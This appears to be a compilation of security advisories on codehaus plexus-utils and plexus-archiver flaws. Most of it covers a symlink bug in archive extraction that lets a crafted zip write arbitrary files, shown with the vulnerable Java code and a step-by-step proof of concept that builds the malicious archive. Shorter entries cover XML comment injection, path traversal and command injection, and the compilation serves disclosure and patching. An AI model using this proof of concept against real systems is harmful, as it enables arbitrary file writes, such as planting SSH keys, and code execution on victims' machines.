Directory Traversal vulnerability in the extractFile method of org.codehaus.plexus.util.Expand in plexus-utils before 6d780b3378829318ba5c2d29547e0012d5b29642. This allows an attacker to execute arbitrary code

Summary

Using AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution.

Description When extracting an archive with an entry that already exists in the destination directory as a symbolic link whose target does not exist - the resolveFile() function will return the symlink's source instead of its target, which will pass the verification that ensures the file will not be extracted outside of the destination directory. Later Files.newOutputStream(), that follows symlinks by default, will actually write the entry's content to the symlink's target.

Impact Whoever uses plexus archiver to extract an untrusted archive is vulnerable to an arbitrary file creation and possibly remote code execution.

Technical Details

In AbstractUnArchiver.java: java protected void extractFile( final File srcF, final File dir, final InputStream compressedInputStream, String entryName, final Date entryDate, final boolean isDirectory, final Integer mode, String symlinkDestination, final FileMapper[] fileMappers) throws IOException, ArchiverException { ... // Hmm. Symlinks re-evaluate back to the original file here. Unsure if this is a good thing... final File targetFileName = FileUtils.resolveFile( dir, entryName );

// Make sure that the resolved path of the extracted file doesn't escape the destination directory // getCanonicalFile().toPath() is used instead of getCanonicalPath() (returns String), // because "/opt/directory".startsWith("/opt/dir") would return false negative. Path canonicalDirPath = dir.getCanonicalFile().toPath(); Path canonicalDestPath = targetFileName.getCanonicalFile().toPath();

if ( !canonicalDestPath.startsWith( canonicalDirPath ) ) { throw new ArchiverException( "Entry is outside of the target directory (" + entryName + ")" ); }

try { ... if ( !StringUtils.isEmpty( symlinkDestination ) ) { SymlinkUtils.createSymbolicLink( targetFileName, new File( symlinkDestination ) ); } else if ( isDirectory ) { targetFileName.mkdirs(); } else { try ( OutputStream out = Files.newOutputStream( targetFileName.toPath() ) ) { IOUtil.copy( compressedInputStream, out ); } }

targetFileName.setLastModified( entryDate.getTime() );

if ( !isIgnorePermissions() && mode != null && !isDirectory ) { ArchiveEntryUtils.chmod( targetFileName, mode ); } } catch ( final FileNotFoundException ex ) { getLogger().warn( "Unable to expand to file " + targetFileName.getPath() ); } } When given an entry that already exists in dir as a symbolic link whose target does not exist - the symbolic link’s target will be created and the content of the archive’s entry will be written to it.

That’s because the way FileUtils.resolveFile() works: java public static File resolveFile( final File baseFile, String filename ) { ... try { file = file.getCanonicalFile(); } catch ( final IOException ioe ) { // nop }

return file; } File.getCanonicalFile() (tested with the most recent version of openjdk (22.2) on Unix) will eventually call JDKCanonicalize(): cpp JNIEXPORT int JDKCanonicalize(const char orig, char out, int len) { if (len < PATHMAX) { errno = EINVAL; return -1; }

if (strlen(orig) > PATHMAX) { errno = ENAMETOOLONG; return -1; }

/ First try realpath() on the entire path / if (realpath(orig, out)) { / That worked, so return it / collapse(out); return 0; } else { / Something's bogus in the original path, so remove names from the end until either some subpath works or we run out of names / ... realpath() returns the destination path for a symlink, if this destination exists. But if it doesn’t - it will return NULL and we will reach the else’s clause, which will eventually return the path of the symlink itself. So in case the entry is already exists as a symbolic link to a non-existing file - file.getCanonicalFile() will return the absolute path of the symbolic link and this check will pass: java Path canonicalDirPath = dir.getCanonicalFile().toPath(); Path canonicalDestPath = targetFileName.getCanonicalFile().toPath();

if ( !canonicalDestPath.startsWith( canonicalDirPath ) ) { throw new ArchiverException( "Entry is outside of the target directory (" + entryName + ")" ); } Later, the content of the entry will be written to the symbolic link’s destination and by doing so will create the destination file and fill it with the entry’s content.

Arbitrary file creation can lead to remote code execution. For example, if there is an SSH server on the victim’s machine and ~/.ssh/authorizedkeys does not exist - creating this file and filling it with an attacker's public key will allow the attacker to connect the SSH server without knowing the victim’s password.

PoC We created a zip as following: bash $ ln -s /tmp/target entry1 $ echo -ne “content” > entry2 $ zip --symlinks archive.zip entry1 entry2 The following command will change the name of entry2 to entry1: bash $ sed -i 's/entry2/entry1/' archive.zip We put archive.zip in /tmp and create a dir for the extracted files: bash $ cp archive.zip /tmp $ mkdir /tmp/extractedfiles Next, we wrote a java code that opens archive.zip: java package com.example;

import java.io.File;

import org.codehaus.plexus.archiver.zip.ZipUnArchiver;

public class App { public static void main( String[] args ) { ZipUnArchiver unArchiver = new ZipUnArchiver(new File("/tmp/archive.zip")); unArchiver.setDestDirectory(new File("/tmp/extractedfiles")); unArchiver.extract(); } } After running this java code, we can see that /tmp/target contains the string “content”: $ cat /tmp/target content Notice that although we used here a duplicated entry name in the same archive, this attack can be performed also by two different archives - one that contains a symlink and another archive that contains a regular file with the same entry name as the symlink.

A flaw was found in codehaus-plexus. The org.codehaus.plexus.util.xml.XmlWriterUtil#writeComment fails to sanitize comments for a --> sequence. This issue means that text contained in the command string could be interpreted as XML and allow for XML injection.

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

https://security.snyk.io/vuln/SNYK-JAVA-ORGCODEHAUSPLEXUS-31521

A vulnerability has been found in the way developers have implemented the archive extraction of files. An arbitrary file write vulnerability, that can be achieved using a specially crafted zip archive (affects other archives as well, bzip2, tar,xz, war, cpio, 7z), that holds path traversal filenames. So when the filename gets concatenated to the target extraction directory, the final path ends up outside of the target folder. Of course if an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily. This affects multiple libraries that lacks of a high level APIs that provide the archive extraction functionality.

References: https://github.com/codehaus-plexus/plexus-archiver/pull/87

Patch: https://github.com/codehaus-plexus/plexus-archiver/commit/58bc24e465c0842981692adbf6d75680298989de

Plexus-utils before 3.0.16 is vulnerable to command injection because it does not correctly process the contents of double quoted strings.